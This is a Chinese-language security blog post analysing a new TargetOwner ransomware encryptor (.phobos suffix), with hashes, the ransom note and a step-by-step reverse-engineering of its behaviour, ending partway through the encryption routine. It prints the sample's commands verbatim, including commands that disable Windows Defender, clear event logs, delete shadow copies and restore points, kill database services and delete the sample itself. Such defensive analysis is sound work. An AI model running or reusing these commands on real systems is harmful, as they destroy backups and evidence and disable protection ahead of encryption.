【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

admin 2024年6月20日22:22:05评论46 views字数 28622阅读95分24秒阅读模式

01.背景

1.1 前言

近年来,勒索病毒已成为企业网络安全的重大威胁。通过加密重要数据并索要赎金,这些恶意软件让众多企业陷入困境。最近,一个名为TargetOwner的勒索病毒家族推出了其新版本,采用了更为复杂的加密手段和攻击策略,使得众多企业被入侵勒索。
在早期,TargetOwner勒索病毒家族主要通过RDP弱口令爆破进行单台计算机的勒索攻击。这种方法相对简单,但却有效地破坏了许多未采取强密码策略的系统。自24年5月份以来,TargetOwner勒索病毒家族升级为使用Phobos后缀,开始专门针对大企业进行定向入侵。这种新策略不仅增加了攻击的成功率,也使得赎金金额提升到1个BTC。

新版本的TargetOwner勒索病毒在加密手段上也进行了升级

他们会频繁变换后缀名称,团队近期捕获的后缀多为:".pings"、".phobos". 、".annoy"、".Kastaneya"。该加密器通过FileControls.changePathName函数,将加密的文件名称修改为:UUID + 加密文件后缀的形式,并重新赋值给fileinfo对象的FullName变量。

例如,原文件名“document.docx”会被修改为“123e4567-e89b-12d3-a456-426614174000.phobos”。

1.2 来源

近期,Solar团队收到某医疗公司的援助请求,该公司的计算机多台服务器受到了勒索病毒的侵害,所有的文件被加密并且添加了.phobos后缀,该勒索软件的入侵方式是为通过财务OA系统0day进行web打点,然后再内网横向入侵加密。solar团队在对受灾服务器进行排查时,提取到了加密器,逆向分析后发现该加密器与以往TargetOwner加密器的特征行为大有不同,无论是从加密后的文件格式、勒索信内容、加密器特征。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。
后续,某位受灾客户提供了解密器,通过对解密器的逆向分析以及其GUI界面,推断该勒索病毒为俄语作者。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

2.恶意文件基础信息

2.1 文件基础信息

大小 2976768(2.84 MiB)
操作系统 Windows(95)
架构 I386
模式 32 位
类型 GUI
字节序 LE
MD5 c509aa60f2c8fdb3eb8e42524cae887a
SHA256 1dc858b5f215ed1c0b57a4ee2a4e12792eae9c6a181d682b3c5b83f60d303f22
家族 TargetOwner

2.2 勒索信

*** PHOBOS RANSOMWARE ***

--- What happened? ---
All of your files are encrypted and stolen. Stolen data will be published soon
on our tor website. There is no way to recover your data and prevent data leakage without us
Decryption is not possible without private key. Don't waste your and our time to recover your files.
It is impossible without our help


--- Contact Us---
[email protected]
Write this ID in the title of your message
ID:

3.恶意文件分析

3.1 威胁分析

病毒家族

TargetOwner

首次出现时间/捕获分析时间 2024.05.27||2024.06.01
威胁类型 勒索软件,加密病毒
勒索软件地区 俄罗斯
加密文件扩展名 .phobos
勒索信文件名 INFOR.txt
有无免费解密器?
联系邮箱 [email protected]
检测名称 Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037)
感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.phobos)。所有加密的文件夹会显示一条勒索要求消息(INFOR.txt)。网络犯罪分子根据不同的用户情况,黑客的开价也不同。
感染方式 受感染的电子邮件附件(宏)、恶意广告、漏洞利用
受灾影响 大部分文件(不包括exe dll等文件,与重要系统文件)都经过加密,如果不支付赎金无法打开。黑客声称拿到了电脑内的重要数据,若不支付赎金则会在黑客的blog上公开

3.2 加密前后对比

加密后

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

解密后

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.逆向分析

4.1 程序的架构:

发现是C#程序,并没有壳。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.2 初始化入口(Progarm.main函数):

首先程序会检查程序启动条件:
1. 同级目录下是否存在no_start文件
2. 时间是否是2021年12月15号以后
3. 系统语言是否是下列中的这些:
  • "ru":俄语
  • "be":白俄罗斯语
  • "uk":乌克兰语
  • "uz":乌兹别克语
  • "kk":哈萨克语
  • "tg":塔吉克语
  • "ka":格鲁吉亚语
  • "ky":吉尔吉斯语
  • "tk":土库曼语

若是满足上述条件其中之一,该程序都不会启动。

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.3 对KillService中指定的服务进行关闭(startManagementProcess函数):

该函数会实现停止和杀死程序内指定的服务和进程
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
循环使用killService通过'r'字符分片后的内容,并且将其与“cmd.exe /c”拼接成完整命令,再通过CreateProcess函数实现命令的执行,具体执行的命令内容:

cmd.exe /c sc stop *sql*
cmd.exe /c wevtutil cl security
cmd.exe /c wevtutil cl system
cmd.exe /c wevtutil cl applocation
cmd.exe /c taskkill /f /im sqlservr.exe 
cmd.exe /c sc stop MSSQLSERVER
cmd.exe /c sc delete MSSQLSERVER
cmd.exe /c sc stop MSSQLServerADHelper100
cmd.exe /c sc delete MSSQLServerADHelper100
cmd.exe /c sc stop MSSQLFDLauncher
cmd.exe /c sc delete MSSQLFDLauncher
cmd.exe /c sc stop SQLBrowser
cmd.exe /c sc delete SQLBrowser
cmd.exe /c sc stop SQLWriter
cmd.exe /c sc delete SQLWriter
cmd.exe /c sc stop SQLSERVERAGENT
cmd.exe /c sc delete SQLSERVERAGENT
cmd.exe /c taskkill /f /im oracle.exe
cmd.exe /c sc stop OracleServiceORCL
cmd.exe /c sc delete OracleServiceORCL
cmd.exe /c sc stop OracleOraDb11g_home1TNSListener
cmd.exe /c sc delete OracleOraDb11g_home1TNSListener
cmd.exe /c sc stop OracleOraDb11g_home1ClrAgent
cmd.exe /c sc delete OracleOraDb11g_home1ClrAgent
cmd.exe /c sc stop OracleMTSRecoveryService
cmd.exe /c sc delete OracleMTSRecoveryService
cmd.exe /c sc stop OracleJobSchedulerORCL
cmd.exe /c sc delete OracleJobSchedulerORCL
cmd.exe /c sc stop OracleDBConsoleorcl
cmd.exe /c sc delete OracleDBConsoleorcl
cmd.exe /c sc stop OracleVssWriterORCL
cmd.exe /c sc delete OracleVssWriterORCL
cmd.exe /c taskkill /f /im Mysqld.exe
cmd.exe /c sc stop Mysql
cmd.exe /c sc delete Mysql
cmd.exe /c sc stop OracleDBConsoleorcl
cmd.exe /c sc delete OracleDBConsoleorcl
cmd.exe /c taskkill /f /im notepad.exe
cmd.exe /c ReportingServecesService.exe
cmd.exe /c sc stop ReportingServecesService.exe
cmd.exe /c sc delete ReportingServecesService.exe
cmd.exe /c sc stop sqlservr.exe
cmd.exe /c sc delete sqlservr.exe
cmd.exe /c taskkill /f /im n.exe
cmd.exe /c taskkill /f /im mshta.exe
cmd.exe /c sc stop DuzonDataSafe
cmd.exe /c sc delete DuzonDataSafe
cmd.exe /c sc stop DzKeyLockService
cmd.exe /c sc delete DzKeyLockService
cmd.exe /c sc stop DzServerUpdaterService
cmd.exe /c sc delete DzServerUpdaterService
cmd.exe /c sc stop DzKeyLockDotNetService
cmd.exe /c sc delete DzKeyLockDotNetService
cmd.exe /c sc stop MSSQLFDLauncher
cmd.exe /c sc delete MSSQLFDLauncher
cmd.exe /c sc stop MSSQLServerOLAPService
cmd.exe /c sc delete MSSQLServerOLAPService
cmd.exe /c sc stop MsDtsServer110
cmd.exe /c sc delete MsDtsServer110
cmd.exe /c sc stop MsDtsServer120
cmd.exe /c sc delete MsDtsServer120
cmd.exe /c sc stop ReportServer
cmd.exe /c sc delete ReportServer

4.4 对系统中的服务进行关闭(StopNonSystemServices函数):

该函数会实现对系统内部运行着的服务进行关闭
通过调用ServiceController.GetServices()函数来获取系统中的服务,循环每个服务名称并且判断服务状态是否是运行状态,并且是否可以停止,如果满足以上条件则调用命令“cmd.exe /c nc stop”拼接服务名称,对其服务进行关闭。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5 进程终止(KillProcess函数):

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
该函数实现了对程序内部制定的进程进行了关闭
1. 使用 Process.GetProcesses() 方法获取当前所有运行的进程,并将其存储在 processes 数组中。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 使用 while 循环遍历 processes 数组中的每一个进程,并将进程名称转换为小写并存储在 text 变量中,以便于后面检查使用。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
3. 检查每个进程名称是否以 "ali"、"safe"、"360"、"hips" 开头,或包含 "yun"、"java"、"nginx"、"python" 字符串,如果匹配,则终止进程。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
4. 如果进程名称包含anydesk,则不处理,如果进程名称在 killTaskList 列表中,则终止进程。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
killTaskList(终止进程列表):

"msftesql",
"sqlagent",
"sqlbrowser",
"sqlservr",
"sqlwriter",
"oracle",
"ocssd",
"dbsnmp",
"synctime",
"mydesktopqos",
"isqlplussvc",
"xfssvccon",
"mydesktopservice",
"ocautoupds",
"agntsvc",
"encsvc",
"firefoxconfig",
"tbirdconfig",
"ocomm",
"mysqld",
"mysqld-nt",
"mysqld-opt",
"dbeng50",
"sqbcoreservice",
"excel",
"infopath",
"msaccess",
"mspub",
"onenote",
"outlook",
"powerpnt",
"steam",
"thebat",
"thebat64",
"thunderbird",
"visio",
"winword",
"wordpad"

5. 如果进程的主模块文件名有效且不等于当前进程的文件名,检查文件名是否位于系统驱动器上。如果文件名不位于系统驱动器的 Windows目录中,则进一步检查文件名是否在 giveupDir 的键值中。如果文件名在 giveupDir 的键值中,则将flag状态设置成true,然后根据flag状态来判断是否终止进程,简单来说就是只要文件名不在giveupDir的键值中,就终止。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
giveupDir的key_value:

WindowsSpeech_OneCore
WindowsSystemApps
WindowsShellExperiences
Windowsservicing
WindowsSystem32
WindowsSysWOW64
WindowsBoot
WindowsWinSxS
Windowsassembly
WindowsMicrosoft.NET
WindowsInstaller
WindowsSoftwareDistribution
WindowsPrefetch
Windowsinf
WindowsTasks
WindowsResources
WindowsSecurity
WindowsServiceProfiles
WindowsSystemResources
WindowsWeb
WindowsHelp
WindowsFonts
ProgramDataMicrosoft
ProgramDataNVIDIA Corporation
ProgramDataAdobe
ProgramDataOracle
ProgramDataDell
ProgramDataIntel
ProgramDataMcAfee
ProgramDataSymantec
ProgramDataKaspersky Lab
ProgramDataAVAST Software
ProgramDataMalwarebytes
ProgramDataPackage Cache
Program Files (x86)Internet Explorer
Program Files (x86)Steam
Program Files (x86)NVIDIA Corporation
Program Files (x86)Intel
Program FilesAdobe
Program FilesInternet Explorer
Program FilesMozilla Firefox
Program FilesGoogle
Program FilesNVIDIA Corporation
Program FilesWindowsApps
Program FilesWindows Defender
Program FilesIntel
Program FilesWindows Photo Viewer
Program FilesWindows Media Player
Program FilesUNP
Program FilesModifiableWindowsApps
Program Files(x86)Microsoft Synchronization Services
Program Files(x86)Microsoft Sync Framework
Program Files(x86)Microsoft Analysis Services
Program Files (x86)Microsoft SDKs
Program Files (x86)MSBuild
Program Files (x86)Reference Assemblies
Program FilesMicrosoft Sync Framework
Program FilesMicrosoft.NET
Program FilesReference Assemblies
Program FilesWindowsPowerShell
Program FilesMSBuild
Program FilesVirtio-Win
Program FilesWindows NT
Program Files (x86)Microsoft.NET
Program Files (x86)Windows NT
Program Files (x86)WindowsPowerShell
Program Files (x86)Windows Media Player
WindowsSystem32
WindowsSysWOW64
WindowsBoot
WindowsWinSxS
Windowsassembly
WindowsMicrosoft.NET
WindowsInstaller
WindowsSoftwareDistribution
WindowsPrefetch
Windowsinf
WindowsTasks
WindowsResources
WindowsSecurity
WindowsServiceProfiles
WindowsSystemResources
WindowsWeb
WindowsHelp
WindowsFonts
ProgramDataMicrosoft
ProgramDataNVIDIA Corporation
ProgramDataAdobe
ProgramDataOracle
ProgramDataDell
ProgramDataIntel
ProgramDataMcAfee
ProgramDataSymantec
ProgramDataKaspersky Lab
ProgramDataAVAST Software
ProgramDataMalwarebytes
ProgramDataPackage Cache
ProgramDataMicrosoft
ProgramDataNVIDIA Corporation
ProgramDataAdobe
ProgramDataOracle
ProgramDataDell
ProgramDataIntel
ProgramDataMcAfee
ProgramDataSymantec
ProgramDataKaspersky Lab
ProgramDataAVAST Software
ProgramDataMalwarebytes
ProgramDataPackage Cache
Program Files (x86)Internet Explorer
Program Files (x86)Steam
Program Files (x86)NVIDIA Corporation
Program Files (x86)Intel
Program FilesAdobe
Program FilesInternet Explorer
Program FilesMozilla Firefox
Program FilesGoogle
Program FilesNVIDIA Corporation
Program FilesWindowsApps
Program FilesWindows Defender
Program FilesIntel
Program FilesWindows Photo Viewer
Program FilesWindows Media Player
Program FilesUNP
Program FilesModifiableWindowsApps

6. 所有进程检查结束,调用ProcessStartInfo函数,将停止 Windows 安全中心服务的命令cmd.exe", "/c net stop wscsvc作为其参数,并且设置其属性为用户shell执行、不显示窗口和将程序输出到Stdout。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
KillProcess函数结束

4.5.1 第一条线程:

将创建一个线程,并且使用CreateProcess函数和ExecutePowerShellScript函数来执行一系列命令

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.1.1 CreateProcess 执行命令内容

1. 禁用写缓存:

ManagementProcess.CreateProcess("cmd.exe""/c 'fsutil behavior set disablewritecache 1'");

2. 禁用删除通知:

ManagementProcess.CreateProcess("cmd.exe""/c 'fsutil behavior set disabledeletenotify 1'");

清理磁盘:

ManagementProcess.CreateProcess("cmd.exe""/c 'cleanmgr /d C:'");

修改注册表设置以增加最大并发数:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f'");

禁用 Security Health Service:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f'");

删除 Windows Defender 策略注册表键:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f'");

禁用 Windows Defender 的 AntiSpyware 和 AntiVirus:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f'");
ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f'");

禁用 Windows Defender 的 API Logger:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f'");

禁用屏幕保护程序:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 0 /f'");

禁用 Windows Defender 服务:

ManagementProcess.CreateProcess("cmd.exe""/c 'sc config WinDefend start=disabled'");
ManagementProcess.CreateProcess("cmd.exe""/c 'sc stop WinDefend'");

10 移除 Windows Defender 定义:

ManagementProcess.CreateProcess("cmd.exe""/c 'MpCmdRun.exe -RemoveDefinitions -All'");

11 设置电源配置:

ManagementProcess.CreateProcess("cmd.exe""/c 'powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c'");
ManagementProcess.CreateProcess("cmd.exe""/c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 100'");
ManagementProcess.CreateProcess("cmd.exe""/c 'powercfg /setacvalueindex SCHEME_CURRENT SUB_PROCESSOR PERFEPP 0'");

12 修改桌面背景颜色和窗口边框颜色:

ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d 255 0 0 /f'");
ManagementProcess.CreateProcess("cmd.exe""/c 'reg add "HKCU\Control Panel\Desktop\WindowMetrics" /v BorderColor /t REG_SZ /d 255 0 0 /f'");

13 删除安全启动配置:

ManagementProcess.CreateProcess("cmd.exe""/c 'bcdedit /deletevalue {current} safeboot'");

4.5.1.2 ExecutePowerShellScript 执行命令内容

1. 禁用实时保护:

ManagementProcess.ExecutePowerShellScript("Set-MpPreference -DisableRealtimeMonitoring $true");

2. 添加 Windows Defender 排除路径:

ManagementProcess.ExecutePowerShellScript("Add-MpPreference -ExclusionPath C:\");
ManagementProcess.ExecutePowerShellScript("Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus");

3. 禁用 IOAV 保护和脚本扫描:

ManagementProcess.ExecutePowerShellScript("Set-MpPreference -DisableIOAVProtection $true");
ManagementProcess.ExecutePowerShellScript("Set-MpPreference -DisableScriptScanning 1");

4. 移除 Windows Defender 定义:

ManagementProcess.ExecutePowerShellScript("&"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All");
ManagementProcess.ExecutePowerShellScript("&"C:\Program Files\Windows Defender\Mp

执行完上述代码后,会执行DisableWindowsDefenderProtection函数对Windows Defender的关闭还有对Windows安全中心的关闭

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2 第二条线程:

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
该线程会执行sellNotInWindowsDirectory、StopAllScheduledTasks、DisableDotNetLogging、DisableVirtualMemory、DisableRealTimeProtection、DeleteAllRestorePoints、DeleteAllShadowCopies、sysNotSleep、clearRecent、clearRdpMru、DisableFileSharing等函数来实现对系统的各种功能的关闭。

4.5.2.1 删除自启动文件(sellNotInWindowsDirectory函数):

删除自启动项里面windows目录以外的文件。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.2 停止计划任务(StopAllScheduledTasks函数):

列出系统内计划任务的项目,并对其可以停止的进行停止。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.3 禁用.Net日志记录(DisableDotNetLogging函数):

禁用.Net的某些日志记录功能,

利用Environment.OSVersion.Version.Major方法来获得系统的版本,确定当前是w10/7/xp/visa等系统,然后选择对应.net所存在的注册表,然后将以下注册表项的值设置为0。

GeneratePublisherEvidence:禁用程序集发布者证据的生成。

LegacyUnhandledExceptionPolicy:指定处理旧版.NET应用程序中未处理异常的策略。

LegacyImpersonationPolicy:指定旧版.NET应用程序的模拟策略。

ShadowCopyVerifyByTimestamp:禁用根据时间戳验证影子副本缓存中程序集的功能。

AlwaysFlowImpersonationPolicy:禁用始终流动的模拟策略。

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.4 禁用虚拟内存(DisableVirtualMemory函数):

禁用虚拟内存,通过对注册表SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management的子键DisablePagingExecutive的值设置为1来实现。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.5 关闭Windows Defender的实时保护(DisableRealTimeProtection函数):

关闭Windows Defender的实时保护,通过对注册表SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection的子键DisableRealtimeMonitoring设置为1来实现
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.6 删除系统还原点(DeleteAllRestorePoints函数):

通过WMI查询rootdefault命名空间的SystemRestore类的还原点,并遍历其中还原点然后删除,来实现对系统还原点的删除。
powershell命令实现获取还原点:
Get-WmiObject -Namespace "rootdefault" -Class SystemRestore
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
函数实现:
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.7 删除所有影卷备份(DeleteAllShadowCopies函数):

删除所有影卷备份,通过调用cmd.exe来启用vssadmin delete shadows /all /quiet命令来实现,不会带有删除的任何提示。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.8 关闭系统睡眠(sysNotSleep函数):

设置SetThreadExecutionState的标志为0x80000003以实现对系统的睡眠的禁止。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.9 删除最近用户使用过的目录文件(clearRecent函数):

删除最近用户使用过的目录文件,通过Environment.SpecialFolder.Recent获取用户最近使用过的文件,然后循环调用Delete函数对其进行删除

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.10 删除 Windows 远程桌面连接客户端中的条目(clearRdpMru函数):

删除 Windows 远程桌面连接客户端中的条目,一般HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault注册表中的值为MRU+number的项
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.11 关闭文件共享功能(DisableFileSharing函数):

关闭文件共享功能,通过设置SYSTEMCurrentControlSetServicesLanmanServerParameters注册表的AutoShareWks和AutoShareServer的值为0实现。

【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
完成了上述的一系列的功能,将调用ClearDirectory函数、delDirectory函数、ClearAllEventLogs()和CreateProcess函数来完成该线程最后的清理工作了。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
ClearDirectory函数主要作用就是删除该目录下的所有存在的文件
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
该函数主要用来清理以下路径中的文件:
  • C:WindowsSystem32WinevtLogs:事件日志文件
  • C:WindowsSystem32LogFilesHTTPERR:HTTP 错误日志文件
  • C:WindowsSystem32LogFilesWMIRtBackup:WMI 实时备份日志
  • C:WindowsSystem32LogFilesScm:服务控制管理器日志
  • C:WindowsPrefetch:预取目录
  • C:WindowsTemp:临时文件目录

4.5.2.12 删除临时目录和清空日志(delDirectory函数):

该函数先按照时间降序排序,然后循环删除该路径下的所有目录。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
该函数主要用来删除以下目录及其内容:
  • C:WindowsPrefetch:预取目录
  • C:WindowsTemp:临时文件目录
ClearAllEventLogs函数
清除系统内的事件日志
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.5.2.13 CreateProcess 执行命令内容

调用创建并运行以下命令行进程:

1. 用于清空进程的工作集内存

cmd /c EmptyWorkingSet

2. 刷新 DNS 缓存

cmd /c ipconfig /flushdns

3. 删除所有 ARP 缓存条目

cmd /c arp -d *

4. 释放内存

cmd /c freemem
当执行完毕KillProcess函数和一些列的线程内容,将执行DeleteItself函数,来实现对自身的删除。

4.6 样本自删除(DeleteItself函数):

该函数会在当前目录下创建一个DeleteItself.bat的批处理文件,内容为:
:del
del "AutoStart.appAllPath"
if exist "AutoStart.appAllPath" goto del
del %0
该脚本主要实现循环删除自身,循环判断是否存在,如果存在就一直删除。
写入到DeleteItself.bat文件内,就执行该批处理文件,以此来实现删除自身的功能。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.7 加密器初始化(getUidAndPublicKey函数)

读取程序的同级目录下,看看是否存在"encry_"开头的文件,如果存在,则调用RSAartifact.fileBytePublicEncryData函数来使用该文件,然后接着调用RSAartifact.shatterFile函数来对文件内容的混淆和文件的删除。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.8 读取配置文件&&初始化加密变量(RSAartifact.fileBytePublicEncryData函数):

该函数会读取“entry_”开头的文件,将其中的内容赋值到后续加密所需的各种变量上。
基本的实现思路就是从文件的末尾开始读,先读4个字节,当作Size,然后再读取Size大小的数据,将其赋值给加密用的变量上,再读取4字节当作Size,然后再读取Size大小的数据赋值给加密变量上,以此循环。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
文件结构:
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
将文件内的加密密钥、勒索信、加密后缀和UID读取完毕,将调用RSAartifact.shatterFile函数对其“entry_”开头的文件进行混淆和删除。

4.9 混淆配置文件内容&&删除配置文件(RSAartifact.shatterFile函数):

该函数对“entry_”开头的文件的内容进行多次的打乱,并且覆盖写了十次,最后对其进行了删除。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
执行完毕RSAartifact.setUidAndPublicKey函数后,将要执行QueueThread.init函数,初始化一下队列数据结构。

4.10 加密线程队列初始化(QueueThread.init函数):

该函数主要会先获取一下处理器的数量,然后根据处理器的数量,创建合适数量的线程,用于后续对文件的批量加密。获取了合适数量,会循环创建线程,并添加到线程列表中,并且线程的启动函数都是CallToChildThread函数,启动线程。最后会创建一个队列安全线程,将其添加到dictionaryTaskQueue队列字典的键“precedenceTaskQueue”的值中去,其中dictionaryTaskQueue作为优先队列,优先加密指定路径中的文件,而taskQueue为普通队列,自动处理全盘中的路径。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.11 线程启动方法(CallToChildThread函数):

1. 主要分为两部分,首先该函数会执行一个死循环,会有一个num变量来进行计数,用来循环线程队列中的任务数量,如果大于200,那么就等待一下,如果是大于300,那就停止。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2. 首先会先遍历dictionaryTaskQueue队列,通过对dictionaryTaskQueue队列的键值的数量来进行判断,如果大于0,那就尝试出队,出队的值即为入队时的文件的路径,之后就是判断是否出队成功,成功就会判断文件是否存在,如果存在,会重置isStop、num和flag标志的值,如果不存在不会重置,之后就是将文件路径fileInfo作为参数执行encrySignificantFile加密函数,对文件进行加密。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
3. 根据flag的值,来决定是否启用对taskQueue队列的出队行为,如果用户未输入加密指定路径的程序,那就加密taskQueue中的路径。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.12 加密初始化(encrySignificantFile函数):

该函数会先判断加密的文件路径是否是文件,如果是不存在文件,例如勒索信这种路径,只入队,并未创建,所以就会执行执行写入勒索信的操作。如果文件存在,先会获取文件的名称
再调用FileControls.changePathName函数来实现对文件名称修改,之后调用setFileAuth函数将该文件的ACL规则设置为False,之后调用FileControls.AesEncryptFile函数,并将修改后的文件名和修改之前的文件名作为参数传递,来实现对文件的加密。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.13 加密文件名生成(FileControls.changePathName函数):

该函数会将加密的文件名称修改成:uuid + 加密文件后缀的形式,然后将其与上级路径拼接,再重新赋值给fileinfo对象的FullName变量,最后将修改后的文件路径返回。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?

4.14 文件加密(FileControls.AesEncryptFile函数):

参数1和参数2为修改后的文件路径和修改前的文件路径
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
该函数会先获取一下参数1(修改前的文件路径)后缀,然后判断一下是否在completeSuffix列表中
completeSuffix:
"h5",
"dcm",
"shp",
"ndf",
"shx",
"orc",
"parquet",
"prj",
"id",
"dat",
"geojson",
"kml",
"nds",
"pmml",
"proto",
"nmea",
"s57",
"rpf",
"onnx",
"pt",
"pb",
"csv",
"eml",
"ghost",
"log",
"bak",
"sql",
"4dd",
"4dl",
"abs",
"abx",
"frm",
"accdb",
"accdc",
"ctl",
"accde",
"pqsql",
"adb",
"adf",
"dmp",
"ckp",
"db",
"json",
"pgdump",
"arc",
"pgdata",
"db-journal",
"db-shm",
"ifx",
"js",
"wal",
"mongodb",
"ns",
"wt",
"rdb",
"mariadb",
"db-wal",
"db2",
"ibd",
"db3",
"dbc",
"dbf",
"dbs",
"dbt",
"dbv",
"dcb",
"doc",
"docx",
"dp1",
"aof",
"mysql",
"myi",
"data",
"dump",
"eco",
"edb",
"database",
"ora",
"epim",
"wdb",
"fcd",
"gdb",
"mdb",
"mdf",
"ldf",
"myd",
"ndf",
"nwdb",
"nyf",
"sqlitedb",
"sqlite3",
"sqlite",
"xls",
"xlsx",
"pdf",
"pst",
"swift",
"fix",
"flt",
"fixm",
"xlsm",
"makop",
"pgp",
"gpg",
"enc"
如果在这个列表中,那就给num赋值为4,不然num初始值保持为1,num代表的是加密的次数,这个后面会介绍。接着会初始化一下加密对象ChaCha7539Engine对象,从FileControls.initRandomKey函数中获取被加密过的随机的密钥和IV到array和array2中,以供后续的黑客解密使用,最后会以读写模式打开修改名称后的文件。
如果打开失败,那么就将修改前的文件名当作修改后的文件名,然后返回,不执行加密。
如果打开成功,那么就继续执行后续的加密流程。
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
